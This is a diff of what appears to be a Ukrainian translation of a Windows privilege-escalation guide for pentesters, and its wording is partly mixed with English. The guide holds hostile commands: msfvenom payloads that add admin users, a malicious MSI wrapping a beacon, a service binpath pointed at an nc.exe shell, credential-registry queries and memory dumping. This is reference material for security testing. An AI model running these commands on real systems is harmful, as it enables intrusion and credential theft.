[**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Для детальнішої інформації про послідовність атаки див. [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Якщо** ці 2 ключі реєстру **увімкнені** (значення **0x1**), тоді користувачі з будь-якими правами можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**. +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,19 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Якщо у вас є сеанс meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль **`exploit/windows/local/always_install_elevated`** +Якщо у вас є meterpreter сесія, ви можете автоматизувати цю техніку за допомогою модуля **`exploit/windows/local/always_install_elevated`** ### PowerUP -Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI binary для escalate privileges. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання user/group (тому вам знадобиться GIU access): +Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточній директорії Windows MSI-файл для підвищення привілеїв. Цей скрипт записує попередньо скомпільований MSI-інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU): ``` Write-UserAddMSI ``` -Просто запустіть створений бінарний файл, щоб підвищити привілеї. +Просто виконайте створений бінарний файл, щоб підвищити привілеї. ### MSI Wrapper -Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **лише** want to **виконувати** **command lines** {{#ref}} @@ -249,46 +257,46 @@ msi-wrapper.md create-msi-with-wix.md {{#endref}} -### Створення MSI за допомогою Visual Studio +### Create MSI with Visual Studio -- **Згенеруйте** за допомогою Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe` +- **Згенеруйте** за допомогою Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe` - Відкрийте **Visual Studio**, виберіть **Create a new project** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Next**. -- Дайте проєкту назву, наприклад **AlwaysPrivesc**, вкажіть **`C:\privesc`** як розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. -- Продовжуйте натискати **Next** поки не дійдете до кроку 3 з 4 (вибір файлів для включення). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. +- Дайте проекту назву, наприклад **AlwaysPrivesc**, використайте **`C:\privesc`** як розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. +- Продовжуйте натискати **Next**, доки не дійдете до кроку 3 з 4 (choose files to include). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. - Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Properties** змініть **TargetPlatform** з **x86** на **x64**. -- Існують також інші властивості, які можна змінити, наприклад **Author** та **Manufacturer**, що може зробити встановлений застосунок більш правдоподібним. -- Клацніть правою кнопкою по проекту та оберіть **View > Custom Actions**. -- Клацніть правою кнопкою по **Install** та оберіть **Add Custom Action**. -- Двічі клікніть на **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це гарантує, що beacon payload буде виконано одразу при запуску інсталятора. -- В **Custom Action Properties** змініть **Run64Bit** на **True**. -- Нарешті, **збудуйте** його. -- Якщо показується попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64. +- Є інші властивості, які можна змінити, наприклад **Author** та **Manufacturer**, що може зробити встановлений додаток більш правдоподібним. +- Клацніть правою кнопкою на проекті та виберіть **View > Custom Actions**. +- Клацніть правою кнопкою на **Install** та виберіть **Add Custom Action**. +- Подвійно клацніть на **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це забезпечить виконання beacon payload відразу після запуску інсталятора. +- В розділі **Custom Action Properties** змініть **Run64Bit** на **True**. +- Нарешті, **збудуйте його**. +- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтесь, що ви встановили платформу на x64. -### Встановлення MSI +### MSI Installation -Щоб виконати **інсталяцію** шкідливого файлу `.msi` у **фоні:** +Щоб виконати **інсталяцію** шкідливого `.msi` файлу у **фоні:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Щоб експлуатувати цю вразливість, ви можете використати: _exploit/windows/local/always_install_elevated_ -## Antivirus and Detectors +## Антивіруси та детектори -### Audit Settings +### Налаштування аудиту -Ці налаштування визначають, що **реєструється**, тож слід звернути увагу +Ці налаштування визначають, що **реєструється**, тому варто звернути на них увагу ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — цікаво знати, куди надсилаються logs +Windows Event Forwarding — цікаво знати, куди відправляються логи ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** призначений для **керування локальних паролів Administrator**, забезпечуючи, що кожен пароль є **унікальним, випадково згенерованим та регулярно оновлюваним** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким через ACLs надано достатні дозволи, що дозволяє їм переглядати локальні паролі Administrator, якщо вони уповноважені. +**LAPS** призначено для **керування локальними паролями Administrator**, забезпечуючи, що кожен пароль є **унікальним, випадковим і регулярно оновлюваним** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACLs, що дозволяє їм переглядати local admin passwords, якщо вони мають на це повноваження. {{#ref}} @@ -297,36 +305,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Якщо увімкнено, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). +Якщо ввімкнено, **паролі в відкритому тексті зберігаються в LSASS** (Local Security Authority Subsystem Service).\ +[**Більше інформації про WDigest на цій сторінці**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково підвищуючи безпеку системи.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково підвищивши безпеку системи.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** було представлено в **Windows 10**. Мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**Детальніше про Credentials Guard тут.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** був запроваджений у **Windows 10**. Його мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** автентифікуються **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифікуються зареєстрованим security package, зазвичай для користувача встановлюються domain credentials.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** автентифікуються за допомогою **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифікуються зареєстрованим security package, для користувача зазвичай встановлюються domain credentials.\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials) ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Користувачі & Групи +## Користувачі та групи -### Перелічення користувачів & груп +### Перелічити користувачів та груп -Вам слід перевірити, чи мають якісь із груп, до яких ви належите, цікаві дозволи. +Перевірте, чи мають групи, членом яких ви є, цікаві дозволи ```bash # CMD net users %username% #Me @@ -343,24 +351,24 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Привілейовані групи -Якщо ви **належите до певної privileged group, ви можете отримати можливість escalate privileges**. Дізнайтеся про privileged groups і як ними зловживати для escalate privileges тут: +Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї**. Дізнайтеся про привілейовані групи та як зловживати ними для підвищення привілеїв тут: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Маніпуляція token-ами +### Маніпуляція токенами **Дізнайтеся більше** про те, що таке **token** на цій сторінці: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Перегляньте наступну сторінку, щоб **дізнатися про interesting tokens** та як ними зловживати: +Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як ними зловживати: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Увійшлі користувачі / Sessions +### Залогінені користувачі / Сесії ```bash qwinsta klist sessions @@ -380,10 +388,10 @@ powershell -command "Get-Clipboard" ``` ## Запущені процеси -### Права доступу до файлів і папок +### Права на файли та папки -Перш за все, при переліку процесів **перевірте наявність паролів у command line процесу**.\ -Перевірте, чи можете ви **перезаписати який-небудь виконуваний binary** або чи маєте права запису в папку з binary, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): +Перш за все, при переліку процесів **перевіряйте наявність паролів у командному рядку процесу**.\ +Перевірте, чи можете ви **перезаписати якийсь запущений binary** або чи маєте права на запис у binary folder, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,7 +402,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Завжди перевіряйте наявність запущених [**electron/cef/chromium debuggers** — їх можна використати для підвищення привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Завжди перевіряйте на наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Перевірка прав доступу до бінарних файлів процесів** ```bash @@ -405,7 +413,7 @@ icacls "%%z" ) ) ``` -**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) +**Перевірка дозволів на папки бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,19 +423,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Ви можете створити дамп пам'яті запущеного процесу, використовуючи **procdump** від sysinternals. Сервіси, такі як FTP, мають **credentials in clear text in memory**. Спробуйте зробити дамп пам'яті і прочитати credentials. +Ви можете створити дамп пам'яті працюючого процесу за допомогою **procdump** від sysinternals. Служби на кшталт FTP мають **credentials in clear text in memory**, спробуйте зробити дамп пам'яті та прочитати ці credentials. ```bash procdump.exe -accepteula -ma ``` -### Insecure GUI apps +### Небезпечні GUI-додатки -**Програми, що працюють від імені SYSTEM, можуть дозволяти користувачеві запустити CMD або переглядати директорії.** +**Додатки, що виконуються під SYSTEM, можуть дозволяти користувачу відкрити CMD або переглядати каталоги.** -Приклад: "Windows Help and Support" (Windows + F1), знайдіть "command prompt", натисніть "Click to open Command Prompt" +Приклад: "Windows Help and Support" (Windows + F1), введіть у пошуку "command prompt", клацніть "Click to open Command Prompt" -## Services +## Служби -Отримати список служб: +Отримайте список служб: ```bash net start wmic service list brief @@ -436,15 +444,15 @@ Get-Service ``` ### Дозволи -Ви можете використовувати **sc** для отримання інформації про службу +Ви можете використовувати **sc** щоб отримати інформацію про службу ```bash sc qc ``` -Рекомендується мати бінарний файл **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. +Рекомендується мати binary **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Рекомендується перевірити, чи можуть "Authenticated Users" модифікувати будь-яку службу: +Рекомендується перевірити, чи може "Authenticated Users" змінювати будь-яку службу: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -453,27 +461,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Увімкнення служби +### Увімкнути службу -Якщо ви отримуєте цю помилку (наприклад зі SSDPSRV): +Якщо у вас виникає ця помилка (наприклад зі SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Ви можете увімкнути її за допомогою +Ви можете ввімкнути її, використовуючи ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Врахуйте, що служба upnphost залежить від SSDPSRV, щоб працювати (для XP SP1)** +**Зверніть увагу, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)** -**Інший спосіб обійти цю проблему — запустити:** +**Інше обхідне рішення** цієї проблеми — запуск: ``` sc.exe config usosvc start= auto ``` ### **Змінити шлях бінарного файлу служби** -У сценарії, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для служби, можливе змінення виконуваного бінарного файлу служби. Щоб змінити та виконати **sc**: +У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** щодо служби, можлива модифікація виконуваного бінарного файлу служби. Щоб змінити та виконати **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -488,18 +496,18 @@ net stop [service name] && net start [service name] ``` Ескалація привілеїв можлива через різні дозволи: -- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу служби. -- **WRITE_DAC**: Дозволяє переналаштування прав доступу, що дає можливість змінювати конфігурації служб. -- **WRITE_OWNER**: Дозволяє отримати право власності та переналаштовувати дозволи. -- **GENERIC_WRITE**: Надає можливість змінювати конфігурації служб. -- **GENERIC_ALL**: Також надає можливість змінювати конфігурації служб. +- **SERVICE_CHANGE_CONFIG**: Дозволяє змінювати бінарний файл служби. +- **WRITE_DAC**: Дозволяє переналаштувати дозволи, що дає можливість змінювати конфігурацію служби. +- **WRITE_OWNER**: Дозволяє отримати власника та змінювати дозволи. +- **GENERIC_WRITE**: Надає можливість змінювати конфігурацію служби. +- **GENERIC_ALL**: Також надає можливість змінювати конфігурацію служби. Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_. -### Слабкі дозволи бінарних файлів служб +### Services binaries weak permissions -**Перевірте, чи можете ви змінити бінарний файл, який виконує служба** або чи маєте **дозволи на запис у папку** де розташований бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Ви можете отримати всі бінарні файли, які запускаються службою, використовуючи **wmic** (не в system32) і перевірити ваші права за допомогою **icacls**: +**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Ви можете отримати всі бінарні файли, які виконує служба, використовуючи **wmic** (not in system32) та перевірити свої дозволи за допомогою **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +519,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Права на зміну реєстру служб +### Зміна дозволів реєстру служб -Вам слід перевірити, чи можете ви змінювати будь-який реєстр служб.\ -Ви можете **перевірити** свої **права** у реєстрі **служб**, виконавши: +Вам слід перевірити, чи можете ви змінювати будь-який реєстр служби.\ +Ви можете **перевірити** свої **дозволи** щодо реєстру **служби**, виконавши: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,22 +531,21 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Потрібно перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** права `FullControl`. Якщо так, виконуваний сервісом бінарний файл можна змінити. +Слід перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** дозволи `FullControl`. Якщо так, бінарний файл, який виконується сервісом, можна змінити. -Щоб змінити шлях до виконуваного бінарного файлу: +Щоб змінити Path виконуваного бінарного файлу: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Дозволи реєстру служб AppendData/AddSubdirectory - -Якщо у вас є цей дозвіл на реєстр, це означає, що **ви можете створювати підреєстри з цього**. У разі служб Windows це **достатньо для виконання довільного коду:** +### Дозволи AppendData/AddSubdirectory у реєстрі служб +Якщо у вас є цей дозвіл на реєстр, це означає, що **ви можете створювати підреєстри з цього**. У випадку служб Windows це **достатньо для виконання довільного коду:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### Шляхи сервісів без лапок Якщо шлях до виконуваного файлу не укладено в лапки, Windows спробує виконати кожну частину шляху до пробілу. @@ -548,7 +555,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Перелічте всі шляхи служб без лапок, за винятком тих, що належать вбудованим службам Windows: +Перелічіть усі шляхи сервісів без лапок, за винятком тих, що належать вбудованим службам Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -574,13 +581,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Дії відновлення -Windows дозволяє вказувати дії, які виконуються у разі збою служби. Цю можливість можна налаштувати так, щоб вона вказувала на бінарний файл. Якщо цей бінарний файл можна замінити, можливе privilege escalation. Детальніше див. в [офіційній документації](). +Windows дозволяє користувачам вказувати дії, які мають бути виконані у разі збою служби. Цю функцію можна налаштувати так, щоб вона вказувала на бінарний файл. Якщо цей бінарний файл можна замінити, може бути можливим privilege escalation. Детальніше можна знайти в [офіційній документації](). -## Додатки +## Програми -### Встановлені додатки +### Встановлені програми -Перевірте **права доступу до бінарних файлів** (можливо, ви зможете перезаписати один і escalate privileges) та до **папок** ([DLL Hijacking](dll-hijacking/index.html)). +Перевірте **права доступу до бінарних файлів** (можливо, ви зможете перезаписати один і виконати privilege escalation) та **папок** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -589,11 +596,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Права на запис +### Write Permissions -Перевірте, чи можете змінити якийсь файл конфігурації, щоб прочитати певний файл, або чи можете змінити виконуваний файл, який буде виконуватися під обліковим записом Administrator (schedtasks). +Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь двійковий файл, що буде виконуватися під обліковим записом Administrator (schedtasks). -Один зі способів знайти слабкі права доступу до папок/файлів у системі — виконати: +Один зі способів знайти слабкі дозволи для папок/файлів у системі — зробити так: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -616,9 +623,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Run at startup +### Запуск при завантаженні -**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконано іншим користувачем.**\ +**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконаний іншим користувачем.**\ **Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **autoruns locations to escalate privileges**: @@ -626,15 +633,15 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Drivers +### Драйвери -Шукайте можливі **third party weird/vulnerable** drivers +Шукайте можливі **third party weird/vulnerable** драйвери ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Якщо driver надає arbitrary kernel read/write primitive (часто в poorly designed IOCTL handlers), ви можете підвищити привілеї, вкравши SYSTEM token безпосередньо з kernel memory. Див. покрокову техніку тут: +Якщо драйвер надає примітив довільного читання/запису в ядро (поширено в погано реалізованих обробниках IOCTL), ви можете підвищити привілеї, викравши SYSTEM-токен безпосередньо з пам'яті ядра. Див. покрокову техніку тут: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,13 +650,14 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Якщо ви маєте **write permissions inside a folder present on PATH** ви зможете hijack a DLL loaded by a process і **escalate privileges**. +Якщо у вас є **права запису в папці, яка присутня в PATH** ви можете зуміти перехопити DLL, яку завантажує процес, і **підвищити привілеї**. -Перевірте дозволи для всіх папок у PATH: +Перевірте права доступу всіх папок у PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Для отримання додаткової інформації про те, як зловживати цією перевіркою: +Щоб дізнатися більше про те, як зловживати цією перевіркою: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -657,7 +665,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Мережа -### Спільні папки +### Шари ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -667,11 +675,11 @@ net share #Check current shares ``` ### hosts file -Перевірте наявність інших відомих комп'ютерів, hardcoded у hosts file +Перевірте на наявність інших відомих комп'ютерів, жорстко прописаних у hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Мережеві інтерфейси та DNS +### Мережеві інтерфейси & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -683,7 +691,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ```bash netstat -ano #Opened ports? ``` -### Таблиця маршрутизації +### Маршрутна таблиця ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -693,11 +701,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Правила брандмауера +### Firewall Rules -[**Перегляньте цю сторінку для команд, пов'язаних із Firewall**](../basic-cmd-for-pentesters.md#firewall) **(перегляд правил, створення правил, вимкнення, вимкнення...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(переглянути правила, створити правила, вимкнути, вимкнути...)** -Більше[ команд для мережевої енумерації тут](../basic-cmd-for-pentesters.md#network) +Більше[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -706,7 +714,7 @@ C:\Windows\System32\wsl.exe ``` Бінарний файл `bash.exe` також можна знайти в `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Якщо ви отримаєте root user, ви зможете слухати на будь-якому порті (вперше, коли ви використовуєте `nc.exe` для прослуховування порту, з'явиться GUI-запит із проханням дозволити `nc` у брандмауері). +Якщо ви отримаєте root user, ви зможете прослуховувати будь-який порт (вперше, коли ви використовуєте `nc.exe` для прослуховування порту, з'явиться запит через GUI, чи слід дозволити `nc` у firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -715,11 +723,11 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Щоб легко запустити bash як root, можна спробувати `--default-user root` -Ви можете переглянути файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Ви можете дослідити файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Облікові дані Windows +## Windows Облікові дані -### Облікові дані Winlogon +### Winlogon Облікові дані ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -731,16 +739,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Менеджер облікових даних / Windows Vault +### Менеджер облікових даних / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. На перший погляд може здатися, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. +Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, у які може **Windows** **автоматично виконувати вхід за користувачів**. На перший погляд може здатися, що користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб браузери автоматично виконували вхід. Але це не так. -Windows Vault зберігає облікові дані, в які Windows може автоматично входити, що означає, що будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **can make use of this Credential Manager** & Windows Vault і використовує надані облікові дані замість того, щоб користувачі щоразу вводили ім'я користувача та пароль. +Windows Vault зберігає облікові дані, у які **Windows** може автоматично виконувати вхід, що означає: будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **can make use of this Credential Manager** & Windows Vault і може використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль. -Поки додатки не взаємодіють з Credential Manager, вони, на мою думку, не зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш додаток хоче використовувати vault, він повинен якось **communicate with the credential manager and request the credentials for that resource** з дефолтного сховища. +Якщо додатки не взаємодіють з Credential Manager, я не вважаю, що вони зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш додаток хоче використовувати сховище, йому слід якимось чином **спілкуватися з Credential Manager і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням. -Use the `cmdkey` to list the stored credentials on the machine. +Використайте `cmdkey`, щоб вивести список збережених облікових даних на машині. ```bash cmdkey /list Currently stored credentials: @@ -748,7 +756,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Потім ви можете використовувати `runas` з опцією `/savecred`, щоб скористатися збереженими обліковими даними. У наступному прикладі викликається віддалений binary через SMB share. +Потім ви можете використовувати `runas` з опцією `/savecred`, щоб скористатися збереженими обліковими даними. У наведеному прикладі викликається віддалена бінарна програма через SMB share. ```bash 